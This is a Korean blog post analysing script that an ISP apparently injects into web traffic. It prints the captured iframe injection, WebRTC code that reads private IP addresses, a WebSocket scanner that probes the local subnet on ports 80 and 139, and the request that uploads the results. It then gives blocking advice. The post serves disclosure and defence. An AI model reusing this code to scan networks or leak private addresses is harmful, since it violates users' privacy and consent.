- K 모사의 인터넷은 HTTP 패킷을 제어한다.
- 내가 접속하는 서버에서 오는 패킷을 확인해서 스크립트를 집어넣는다.
- 내가 어떤 사이트에 접속하는지 정보를 전부 가지고 간다.
- 내가 속한 네트워크의 망을 조사(스캐닝)한다.
- 조사(스캔)한 정보를 자신들 서버에 업로드한다.
1인이 살기로 계약한 집에 2인 또는 3인이 사는 일이 발생까봐 집 주인이 여러분 집에 CCTV를 달아놓는다면 어떨까요? 아마 그런일이 일어날 확률은 매우 희박할 것입니다. 그런데 말입니다~. 그런일이 실제로 사이버상에서 일어나고 있습니다. 몰래 엿보고 감시하고 차단한다. 그것은 무엇을 의미하는 걸까요?
국내에서 가장 많은 인터넷 가입자를 보유하고 있는 K모사의 ISP 업체 많이들 들어보셨고, 많이 사용하고 있을 것입니다.
매달 돈을 지불하면서 인터넷을 쓰고 있는데, 어느 순간 ‘인터넷 접속 대수 제한’ 메시지가 뜨면서 웹 서핑을 하지 못하는 경험들 있을 것입니다. 그것은 무엇을 의미할까요?
공유기를 쓰는데 어떻게 접속 대수를 알 수 있지? 그게 가능해???? 하지만 K모사는 여러분이 인터넷 접속 대수가 제한됐다는 메시지를 띄우며, 공유기를 쓰고, PC/Mobile 등의 매체를 여러대를 사용하고 있다고 판단합니다. 그것은 무엇을 의미할까요?
그럼 그들이 쓰는 방석은 어떠한 것인지, 그 과정에서 잘못된 방법을 쓰지는 않았는지 한번 알아보도록 하겠습니다.
먼저 정확한 판단을 위해 우리는 인터넷 웹 서핑을 하기 전에 위의 그림과 같이 네트워크 패킷 캡쳐 프로그램(Wireshark) 통해 Daum 사이트에 접근 할때 발생하는 패킷을 분석해봤습니다. 그러자 정체 모를 IP에서 발생되는 이상한 패킷들이 보이기 시작합니다.
GET / HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: ko
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: daum.net
If-Modified-Since: Tue, 26 Jul 2011 06:54:14 GMT
If-None-Match: “c918d4d4604bcc1:d97”
Connection: Keep-Alive
Cookie: TIARA=WOTSlEEtFFG3aMQ7nRPtndGgIQRTvOh25vKs.d3_1GTI8pwUFP7WZ3HzC3Pwy.B-YYQzKrxDoaLAbj3I.y.emQYcill8CIT.
HTTP/1.1 200 OK
Content-Length: 334
Content-Type: text/html
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Last-Modified: Tue, 26 Jul 2011 06:54:14 GMT
Accept-Ranges: bytes
ETag: “c918d4d4604bcc1:d97”
Server: Microsoft-IIS/6.0
P3P: CP=’ALL CURa ADMa DEVa TAIa OUR BUS IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC OTC’
X-Powered-By: ASP.NET
Date: Tue, 02 Aug 2011 04:46:14 GMT
<meta http-equiv=”refresh”content=”2;url=http://daum.net/?”/>
<iframe id=”f”frameborder=”0″style=”width:1;height:1″></iframe><script>document.getElementById(“f”).src=”http://xxx.xxx.xxx.xxx/tm/?a=IE&b=WIN&c=1958260&d=32&e=605&f=ZGF1bS5uZXQ=&g=1464078488940&h=”+Date.now()+”&y=0&z=0&x=1&w=2016-05-06&in=605_00040167&id=20160524″</script>
또한 응답 패킷의 데이터를 보면 악성코드가 자주 쓰는 방법으로 <iframe>태그와 <script>태그가 삽입이 되어 있습니다.(빨간색 볼드체)
이 iframe 은 무엇이며, 또한 무엇을 의미할까요? 아직 어떤 녀석인지 알수 없으니 일단 분석해보도록 하겠습니다.
아래와 같이 비어 있는 iframe 태그를 만들고 프레임이 보이지 않도록 가로/세로 사이즈 1로 세팅!
또한 위에 만들어진 iframe 태그의 src 속성에 특정 주소로 이동하는 코드가 들어 있습니다.
제 컴퓨터가 혹시 악성코드에 감염된 건 아닐까요? 그런데 말입니다. 사이트에 접속해보니 아니라는 것을 확실히 알 수 있었습니다.
여기에서 첫번째 의문점이 생겨납니다.
daum.net 사이트에 접속했는데, 왜 악성코드 처럼 생긴 코드가 들어 있을 것일까요? 또한 코드는 어떻게 집어넣었을까요? 그럼 저 코드는 무슨 역할을 하는 코드일까요?
궁금증을 함께 풀어 나가보도록 하겠습니다.
a 라는 변수는 IE 라고 적힌걸 보면 User-Agent 값을 파악하는 변수로 추측되며, b는 운영체제 정보, c는 무엇인지 모르겠고, f는 base64로 인코딩 된 값이며, 그 뒤는 시간 정보들인걸 알 수 있습니다.
그럼 먼저 f 변수의 base64를 풀어보도록 하겠습니다..
daum.net
풀어보니 접속하려고 했던 daum.net 주소가 적혀 있습니다.
여기서 두번째 의문점이 듭니다. 왜 내가 접속하려고 했던 사이트 주소를 가져가는 것일까? 혹시 내가 접속하는 사이트를 저장하고 있지는 않을까? 의문이 듭니다. 또한 이러한 행위가 약관에 명시가 되어 있는지는 직접 확인해 보셔야겠습니다.
사이트에 접속하면, 즉시 접속하려고 했던 Daum사이트로 바로 이동해 버립니다. 그런데 말입니다~. 그게 전부가 아니었습니다.
눈에 보이는게 전부가 아니라는 것, 손은 눈보다 빠르다는 것은 화투 좀 만져본 대한민국 국민이라면 누구나 알 수 있을 것입니다.
우리는 이것을 알아보기 위해 하나 하나 명확하게 짚어가 보기로 했습니다.
우리가 접속하려는 사이트로 이동하기 전 어떤 코드를 수행을 시키는 것을 확인 할 수 있습니다. 도대체 이것은 무엇일까? 한참을 살펴 봐야 했습니다. 자세히 보면 자바스크립트 파일과 플래쉬 파일이 호출 되는 것을 확인 할 수 있습니다.
자바스크립트 파일은 악성코드 처럼 미약하지만 난독화(?)처리가 되어 있는 것으로 보입니다.
이러한 코드들의 역할은 무엇일까요?
[Local IP 확인]
코드를 분석해보면 아래와 같은 코드가 보입니다. WebRTC를 활용한 사설 내부 네트워크의 아이피 대역을 확인하려는 일부 코드입니다. 여기서 얻어진 아이피 대역은 KT 서버로 보내지게 됩니다.
var n = 1,
i = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection,
a = {
optional: [{
RtpDataChannels: !0
}]
},
o = {
iceServers: [{
urls: “stun:stun.services.mozilla.com”
}]
},
d = new i(o, a)
} catch (r) {
return void e(“”)
}
[포트 스캐닝]
차단되었을 경우에는 접속하려는 사이트로 바로 이동하지 않고 차단된 사이트에 머무르게 됩니다. 이 상황에서는 어떤 현상이 있는지 직접 살펴보도록 하겠습니다.
http://xxx.xxx.xxx.xxx/tm/nt/newchada.das
접속하자마자 “WebSocket Error” 가 많이 발생을 하고 있습니다. 이것은 그냥 에러일까요? 그런데 말입니다. 이것은 단순한 에러가 아니었습니다.
자세히 살펴보기 위해 코드를 유심히 살펴봐야 겠습니다.
브라우저의 소스 코드 보기 창을 통해 분석해보면 아래와 같은 스크립트가 링크되어 있습니다.
<script type=”text/javascript” src=”../_.js”></script>
수상한 이름을 가진 _.js 파일은 어떠한 역할을 하고 있는 것으로 보입니다.
코드를 살펴보면 아래와 같이 아주~ 이상한 코드들이 등장합니다.
var e = new WebSocket(“ws://127.0.0.1”);
e && (t = 1);
}
catch (n) {
}
return t;
}, f2: function () {
this.g5 = new WebSocket(“ws://” + this.g6.join(“.”) + “:80”), setTimeout(this.f3(this), 50);
}, f3: function (t) {
return function () {
0 != t.g5.readyState ? (t.g2 = t.g6.join(“.”), t.g6[3]++, t.f4()) : (t.g6[2]++, t.g6[2] <= 255 ? t.f2() : (t.g1++, t.g4.length <= t.g1 ? t.e(1) : (t.g6 = t.g4[t.g1], t.f2())));
};
}, f4: function () {
this.g5 = new WebSocket(“ws://” + this.g6.join(“.”) + “:139”), setTimeout(this.f5(this), 50);
}, f5: function (t) {
return function () {
0 != t.g5.readyState ? (t.g3 += t.g6.join(“.”) + “|”, t.g6[3]++, t.f4()) : (t.g6[3]++, t.g6[3] < 255 ? t.f4() : t.e(2));
};
WebSocket을 통해 무엇을 확인하고자 하는 것일까요? 왜 그들은 대역대에 존재하는 모든 아이피의 139번 포트로 향해야 만 했을까요?
우리나라는 포트 스캐닝 조차 불법으로 금지하고 있습니다. 근데 그들은 아무런 이유 없이 우리집의 네트워크 대역대를 스캔을 하는지 알 수가 없습니다.
return function () {
if (!t.g7 && (ga || t.g2) && (t.g2 || t.g3)) {
var n;
n = window.XMLHttpRequest ? new XMLHttpRequest : new ActiveXObject(“Microsoft.XMLHTTP”), n.open(“GET”, “../tmi.das?c=” + g2 + “&o=” + g4 + “&q=” + t.g2 + “&r=” + t.g3, !0), n.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded;charset=euc-kr”), n.send(), e && (t.g7 = 1);
}
};
}, s: function () {
그런데 말입니다. 그것 뿐만이 아니었습니다. 그들은 스캔을 통해 얻어진 정보를(139번 포트가 열린 PC들의 아이피 목록) 다시 자신의 서버로 보내는걸 확인 할 수가 있었습니다.
결론
- 인터넷 서핑을 할때 몰래 악의적인! 데이터를 끼워넣는다. (악성 코드야?????)
- 내 PC의 아이피를 빼내서 서버로 가져간다.(진짜 악성코드야?? 사설 아이피를 왜!!!)
- 내가 속한 네트워크를 포트 스캐닝한다.(139/TCP, 80/TCP 포트 스캐닝을 왜 맘대로 해? KT 회사 망 전체 스캐닝 해도 되나???)
- 포트 스캐닝 후 살아 있는 PC들의 IP 리스트를 서버로 가져간다. (이 양반들이…)
마무리
내가 접속하고자 접속했던 사이트에 특정 데이터를 끼워넣기 위해서는 내가 요청한 데이터를 확인하고 열어서 헤더를 수정하고 데이터를 조작해야지만 가능한 일입니다. 이것은 집주인이 CCTV를 놓고 감시하는 것과 다를 바가 없습니다. 설사 그 데이트를 저장하지 않고, 또한 보지 않고 삽입했다 할지라도 그것이 아무런 문제가 없을까요? 여러분이 지금 이글을 보고 어떤 내용을 읽고 쓰는지, 여러분 아이디와 패스워드가 무엇인지? 누군가 보고 있다면 기분이 어떨까요???
또한 허락 없이 네트워크 대역을 스캐닝하고 그 정보를 서버로 가져가는 행위는 또 어떻게 판단 할 수 있을까요? 만약 해커가 K모사의 차단 서버의 Microsoft-IIS/7.5 서버를 공격해서 탈취한다면? 어떤 일이 벌어질까요? 상상은 여러분께 맡기도록 하겠습니다. 전 세계 1위 등극!!!
“Big Brother is watching you” 프로파간다 문구 기억하시는 분이 많으실 겁니다.
조치 사항(해결? 방안)
IP 차단!!! 공유기나 자신의 PC의 방화벽 정책을 통해 IP를 차단해버리면 됩니다. 약관 위반을 하려고 하는게 아닌, 내 정보를 소중히 지키기 위함입니다.
먼저 KT에서 제공(?)하는 차단서버의 아이피를 확보합니다.
구글 검색창에서 아래와 같이 입력하세요. 그후 검색되는 모든 IP를 수집합니다.
[선택 1. 방화벽 설정을 통한 차단]
PC에서의 방화벽 정책 설정은 다음과 같습니다. 여러 아이피를 사용중이므로, 아래 명령을 IP 개수만큼 수행해주세요.(꼭! 관리자 권한으로 수행해주세요)
잘 적용되어 있나 확인해봅시다.
다시 해제하고 싶다면 아래와 같이 수행하세요.
[선택 2. – Chrome 사용자]
Chrome 사용자라면, 아래 URL을 통해 adblock 확장 프로그램을 다운로드 받아 설치 후 차단하시면 됩니다.
[선택 3. – Chrome 사용자]
IE 사용자는 다른 플러그인을 사용하셔도 되나, 기본 기능으로도 충분히 막을 수 있습니다.
[선택 4. – 공유기를 통한 차단]
공유기에서 차단하고 싶다면 위의 IP를 공유기의 차단 정책에 그대로 적용하시면 됩니다.
이 후 부터는 차단 메시지가 보이지 않게 되며, 또한 여러분의 정보가 밖으로 새어나갈 일은 없을 것입니다.
대한민국 인터넷이 안전해지는 그날까지…
HackSum 그것이 알고 싶다에서는 여러분의 제보를 기다립니다. Facebook – https://www.facebook.com/h4cksum/
One Comment
이우기
아주 재미있게 잘 읽었습니다. ㅎ 괜히 사이트들 욕할 뻔 했네요 kt들 진짜 안되겠네